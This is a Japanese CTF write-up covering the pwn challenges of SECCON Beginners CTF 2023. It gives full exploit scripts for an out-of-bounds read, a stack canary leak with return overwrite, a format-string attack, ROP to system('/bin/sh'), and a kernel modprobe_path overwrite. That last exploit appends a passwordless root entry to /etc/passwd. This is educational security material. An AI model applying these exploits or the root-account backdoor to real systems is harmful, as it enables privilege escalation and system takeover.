SECCON Beginners CTF 2023 write-up
まえがき
温度差から来る寝苦しさと涼しさを求めて開けた窓から入ってくる羽虫が鬱陶しい季節がやってきたので、SECCON Beginners CTFが開催されたようです。
No_Controlを除くPwnのみのwrite-upです。
poem
Out of Boundsの脆弱性がある。
int main() { int n; printf("Number[0-4]: "); scanf("%d", &n); // Here if (n < 5) { printf("%s\n", poem[n]); }
負数についてのチェックが存在しないため、グローバル変数として定義されているpoem
よりも低位のアドレスを参照する事ができる。
-4
を入力すると、同じくグローバル変数として定義されているflag
が出力される。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./poem" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("poem.beginners.seccon.games", 9000) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b main c """ p = gdb.debug(chall,cmd) else: p = process(chall) payload = b"-4" p.sendlineafter(':', payload) p.interactive()
flag: ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
rewriter 2
checksecの結果が以下
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2回入力する事ができ、どちらの入力にもBoFが存在する。
しかし、普通にBoFするとcanary
くんを殺してしまう。
こういう複数回の入力が許されている場合、大体は一回目でcanary
を特定すればいいものである。
canary
の特性として最下位 1byteは必ず0x00
になる。
リトルエンディアンの性質上、この最下位 1byteは最初にバッファに侵食される事になる。
従って、ここを任意の文字で埋める事で残りのcanary
をリーク、0x00
を補う事でスタックに元々存在していた完全なcanary
を保管しておき、2回目の入力で復元するとともに、リターンアドレスを書き換える。
対象のバイナリはPIE
が無効であるため、win
関数のアドレスをそのままリターンアドレスに書き込む。
...だけのように見えるのだが、実はこのままだとsystem
関数内のmovaps
命令による例外で上手くsystem("/bin/sh")
が実行されない。
このmovaps
命令はスタックのサイズが0x10
の倍数でアライメントされていない場合、例外を吐くようになっている。
(数年前のctf4bで引っかかって解けなかった苦い思い出)
スタックのサイズは0x8
の倍数であるため、リターンアドレスにret
命令が存在するアドレスを設定する事で、0x8
バイト分スタック小さくなるため、このアライメントを揃える事ができるようになる。
前述したようにPIE
が無効であるため、ret
命令はmain
関数などの適当なところから引っ張ってくればよい。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./rewriter2" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("rewriter2.beginners.seccon.games", 9001) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *main+78 b *main+153 c """ p = gdb.debug(chall,cmd) else: p = process(chall) win = elf.symbols['win'] payload = b"A" * 0x8 * 5 payload += b'B' p.recvuntil("?") p.send(payload) p.recvuntil('B') canary = u64(b'\0' + p.recv(7)) log.info("canary: " + hex(canary)) rop_ret = 0x00401564 payload = b"A" * 0x8 * 5 payload += p64(canary) payload += b"B" * 0x8 payload += p64(rop_ret) payload += p64(win) p.recvuntil("?") p.send(payload) p.interactive()
flag: ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
Forgot_Some_Exploit
checksec
で確認できる範囲のセキュリティ機構は全て有効。
2回の入力と、FSBが存在するprintf
による出力が2回行われる。
バイナリ内にはwin
関数が存在するため、前述のPIE
の機構を回避してこの関数を実行するのが最終的な目標であると推測できる。
PIE
はバイナリのアドレスをランダマイズする機構であるため、バイナリのアドレスをリークして相対的なオフセットからwin
関数のアドレスを特定する必要がある。
また、win
関数に制御を移すにはリターンアドレスを書き換える必要があるため、スタックのアドレスも同様にリークして相対的なオフセットからリターンアドレスの位置を特定する必要がある。
FSBでは%p
を用いてスタックの内容をリークできるため、一回目の入力では
- バイナリのアドレス
- リターンアドレス付近のスタックのアドレス
をリークする。
手元の環境では%41$p
でecho
関数からmain
関数へのリターンアドレスであるmain+14
のアドレスが、%13$p
でリターンアドレスを保持しているアドレス - 0x8のアドレスがリークできたのだが、リモートで実行すると後者について全く異なる値をリークしてしまう。
glibcのバージョンによってスタックの構成が異なる事があったなぁ、という曖昧な記憶があったので、リモートの環境がUbuntu 22.04であると仮定してGLIBC 2.35-0ubuntu3
のlibc.so.6
とそれに対応したld.so
をlibc databaseから持ってきて強制的にリンクするようパッチした。
$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./chall $ patchelf --replace-needed libc.so.6 ./libc.so.6 ./chall
この状態で実行してみると、リターンアドレスを保持するスタックアドレスは%40$p
でリークできる事がわかった。
PIEでランダマイズされていてもmain
関数とwin
関数のアドレスの違いは下位2byteのみであるため、後はリターンアドレスの下位2byteを$hn
を使って書き換えるだけである。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("forgot-some-exploit.beginners.seccon.games", 9002) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *echo+74 b *echo+127 c """ p = gdb.debug(chall,cmd) else: p = process(chall) # local #payload = b'%41$p%13$p' # remote payload = b'%41$p%40$p' p.send(payload) leak = eval(p.recv(14)) log.info("bin leak: " + hex(leak)) bin_base = leak - 0x12ec elf.address = bin_base log.info("bin base: " + hex(bin_base)) win = elf.symbols["win"] log.info("win: " + hex(win)) leak = eval(p.recv(14)) log.info("stack leak: " + hex(leak)) ret_addr = leak - 0x8 log.info("return address@" + hex(ret_addr)) payload = "%{}c%8$hn".format(win+1&0xffff).encode() payload += b'A' * (8 - (len(payload) % 8)) payload += p64(ret_addr) sleep(0.3) p.send(payload) p.interactive()
flag: ctf4b{4ny_w4y_y0u_w4nt_1t}
Elementary_ROP
checksecの結果が以下
[*] '/home/t3mp/ctf/seccon_beginners_2023/pwn/Elementary_ROP/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main関数で皆さんご存知のgets
関数が使用されている上に、No PIEかつNo canaryなのでROPをやるだけ。
一回目でGOTから適当な関数のlibcアドレスをリークして再びmain
関数に戻り、二回目でsystem("/bin/sh")
を実行する。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall_patched" libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("elementary-rop.beginners.seccon.games", 9003) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *main+51 c """ p = gdb.debug(chall,cmd) else: p = process(chall) rop_pop_rdi_ret = 0x0040115a rop_ret = 0x004011ec payload = b"A" * 0x28 payload += p64(rop_ret) payload += p64(rop_pop_rdi_ret) payload += p64(elf.got['printf']) payload += p64(elf.plt['printf']) payload += p64(elf.symbols['main'] + 1) p.recvuntil(":") p.sendline(payload) p.recvuntil('\x20') leak = u64(p.recv(6) + b'\0' * 2) log.info("printf@libc: " + hex(leak)) libc_base = leak - libc.symbols['printf'] log.info("libc base: " + hex(libc_base)) libc.address = libc_base log.info("system@libc: " + hex(libc.symbols["system"])) binsh_addr = next(libc.search(b'/bin/sh\x00')) log.info("/bin/sh: " + hex(binsh_addr)) payload = b"B" * 0x28 payload += p64(rop_ret) payload += p64(rop_pop_rdi_ret) payload += p64(binsh_addr) payload += p64(libc.symbols["system"]) p.recvuntil(":") p.sendline(payload) p.interactive()
flag: ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}
driver4b
Kernel問しばらくやってなかったので、とりあえずpawnyable.cafeに行く。
Qemuを実行するrun.sh
を見てみると、有効なセキュリティ機構はKPTIくらいである事がわかる。
参考: https://pawnyable.cafe/linux-kernel/introduction/security.html
従って、
- ユーザー空間のメモリに対する読み書き実行が可能
- Kernel空間の関数や構造体のアドレスはランダマイズされない
という事がわかる。
また、src/config
を見てみると以下のような記述がある。
# Static modprobe_path CONFIG_STATIC_USERMODEHELPER=y CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"
普通のKenrel Configにこのようなコメントが入るはずはないので、おそらく問題の解法において重要なのだろうと推測できる。
pawnyable.cafeからmodprobe_path
について引用させていただく。
modprobe_path
は__request_module
という関数から呼び出されるコマンド文字列で、書き換え可能領域に存在します。
Linuxには実行ファイル形式が複数共存しており、実行権限のあるファイルが実行されるとファイルの先頭のバイト列などから形式を判別します。標準ではELFファイルとshebangが登録されているのですが、このように登録されている形式にマッチしない不明な実行ファイルが呼び出されようとしたとき、__request_module
が使われます。modprobe_path
には標準で/sbin/modprobe
が書かれており、これを書き換えた上で不正な形式の実行ファイルを起動しようとすると、任意のコマンドが実行できます。
つまり、modprobe_path
を書き換えた上で不正な形式の実行ファイル(ヘッダが0xdeadbeef
など)を実行すると、そのpath
に存在するスクリプトを特権で実行してくれるという事である。
なお、modeprobe_path
はおなじみpwntools
を使って以下のように求める事ができる。
なお、前述のようにKernel空間のランダマイズが無効(No KASLR)であるため、このアドレスは固定である。
以上のことから、今回の問題には任意アドレスへの書き込み(AAW)ができる脆弱性があるのだと予想できる。
その上でKernel Moduleのソースコードを読んでみる。
重要なのはmodule_ioctl
なんだろうなぁという事がなんとなくわかる。
/** * Handle ioctl request */ static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { char *msg = (char*)arg; switch (cmd) { case CTF4B_IOCTL_STORE: /* Store message */ memcpy(g_message, msg, CTF4B_MSG_SIZE); break; case CTF4B_IOCTL_LOAD: /* Load message */ memcpy(msg, g_message, CTF4B_MSG_SIZE); break; default: return -EINVAL; } return 0; }
src/ctf4b.h
を見てみると、
#define CTF4B_IOCTL_STORE 0xC7F4B00 #define CTF4B_IOCTL_LOAD 0xC7F4B01 #define CTF4B_MSG_SIZE 0x100
とある事から、以下のようなコードにより、Kernel Moduleのグローバル変数であるg_message
への書き込み、読み込みが可能である事がわかる。
...と、ここまでブログを書いたところで、親切にexample.c
が存在する事に気づいたので、これをそのまま貼らせていただく。
#include "../src/ctf4b.h" #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> void fatal(const char *msg) { perror(msg); exit(1); } int main() { char *buf; int fd; fd = open("/dev/ctf4b", O_RDWR); if (fd == -1) fatal("/dev/ctf4b"); buf = (char*)malloc(CTF4B_MSG_SIZE); if (!buf) { close(fd); fatal("malloc"); } /* Get message */ memset(buf, 0, CTF4B_MSG_SIZE); ioctl(fd, CTF4B_IOCTL_LOAD, buf); printf("Message from ctf4b: %s\n", buf); /* Update message */ strcpy(buf, "Enjoy it!"); ioctl(fd, CTF4B_IOCTL_STORE, buf); /* Get message again */ memset(buf, 0, CTF4B_MSG_SIZE); ioctl(fd, CTF4B_IOCTL_LOAD, buf); printf("Message from ctf4b: %s\n", buf); free(buf); close(fd); return 0; }
一見するとKernel ModuleにBoFも何もないので安全なように見えるが、前述のようにユーザー空間のメモリに対する読み書き実行が可能である事から、ユーザー空間のexploitに書かれたポインタをそのまま利用する事ができてしまう。
つまり、CTF4b_IOCTL_LOAD
においてg_message
の内容を書き込む先として渡すポインタにKernel空間のアドレスを渡す事ができるため、AAWができる。
これを使用してmodprobe_path
を書き換えれば良い。
全体的なexploitの流れは以下のようになる。
g_message
に/tmp/evil.sh
を書き込む (modprobe_path
書き換え用)- 特権で実行して欲しいスクリプトを
/tmp/evil.sh
に書き込む modprobe_path
をg_message
の書き込み先としてCTF4B_IOCTL_LOAD
を行う事でmodprobe_path
を書き換える- デタラメな実行ファイルを実行する
/tmp/evil.sh
が発火 win !
以下が実際のexploit
#include "../src/ctf4b.h" #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define ulong unsigned long void fatal(const char *msg) { perror(msg); exit(1); } int main() { char *buf; int fd; ulong modprobe_path = 0xffffffff81e3a080; fd = open("/dev/ctf4b", O_RDWR); if (fd == -1) fatal("/dev/ctf4b"); buf = (char*)malloc(0x100); if (!buf) { close(fd); fatal("malloc"); } /* Update message */ memset(buf, 0, 0x100); strcpy(buf, "/tmp/evil.sh"); ioctl(fd, CTF4B_IOCTL_STORE, buf); /* Prepare evil script */ FILE *file = fopen("/tmp/evil.sh", "w"); if (file == NULL) fatal("evil.sh"); fprintf(file, "#!/bin/sh\necho \"t3mp::0:0:root:/root:/bin/sh\" >> /etc/passwd\n"); fclose(file); system("chmod +x /tmp/evil.sh"); /* Overwrite modprobe_path */ char* ptr = (char*)modprobe_path; ioctl(fd, CTF4B_IOCTL_LOAD, ptr); system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn"); system("chmod +x /tmp/pwn"); system("/tmp/pwn"); free(buf); close(fd); puts("Win! You can execute $ su t3mp"); return 0; }
/tmp/evil.sh
にchmod -R 777 /root
と書けばflagは得れるのだが、個人的にroot shellが出てくると嬉しいので冗長なコードを書いている。
flag: ctf4b{HOMEWORK:Write_a_stable_exploit_with_KASLR_enabled}
AAR作ってアドレスリークするのかな...?
実はこの問題は開催して最初の方に手を付けていたのだが、evil.sh
にshebangは必要である事に気づかず、解くのが非常に遅くなってしまった...無念。
No_Control
scanf
でstackとheapを整数の文字列で汚染できる事はわかったが、そこから先が何も...
あとがき
今年もHeapに破れた...
色々をやっていたらブログの更新が一年近く空いてしまった事に驚いている。